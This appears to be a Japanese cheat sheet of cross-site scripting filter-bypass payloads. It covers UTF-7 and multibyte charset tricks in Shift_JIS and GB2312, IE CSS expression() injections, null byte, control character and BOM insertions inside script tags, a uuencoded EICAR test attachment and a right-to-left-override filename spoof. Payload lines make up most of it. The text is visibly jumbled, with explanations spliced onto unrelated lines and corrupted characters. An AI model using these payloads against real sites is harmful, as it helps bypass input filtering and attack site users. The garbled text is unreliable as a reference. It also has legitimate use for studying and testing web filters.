+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-+AC8-SCRIPT+AD4-
s : 0x73 01110011メタキャラクタの検出をバイパスすることが可能。
0xF3 11110011 … どちらも s として扱われる。
< : 0x3C 00111100
0xBC 10111100 … どちらも < として扱われる。
シscriptセalert(「XSS「)シ/scriptセ
<input type=text value="(0x82)"><br> <input type=text value=" onmuseover=alert('xss');(0x82)"><br>(http://www.atmarkit.co.jp/fsecurity/rensai/hoshino10/hoshino02.html より)
Content-Type: text/html; charset=GB2312 Subject: example <span style='width:expr/*[0x81]*/*/ession(alert())'> exploited</span>
Content-Type: text/html; charset=SHIFT_JIS Subject: example <font face="[0x81]"></font><font face=" onmouseover=alert() s=[0x81]">exploited</font>
<div style="{left:expression(alert('xss'))}">
<div style="{left:expression(alert('xss'))}">
<div style="{background:URL(javascript:alert('xss'))}">
利用可能な文字
<s(0x00)cript>IE では HTML 中に含まれる 0x0B や 0x0C はスペースと同意に扱われる。
<script(0x0B)>
<s (0x0C)onmouseover="...">
Firefox 1.5.0.4 以前のバージョンでは、BOM (U+FEFF; ZERO WIDTH NO-BREAK SPACE)
は無視される。
<s(BOM)cript>MFSA 2006-42: UTF-8 ページで BOM を使ったクロスサイトスクリプティング
MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit This is test mail begin 644 eicar.com ヘカ#5/(5`E0$%06S1<4%I8-30H4%XI-T-#*3=]) $5)0T%2+5-404Y$05)$+4%. 75$E625)54RU415-4+49)3$4A)$@K2"I# ` endeicar.com を uuencode 形式で添付。
本来のファイル名: this-(U+202E)txt.exe
表示されるファイル名: this-exe.txt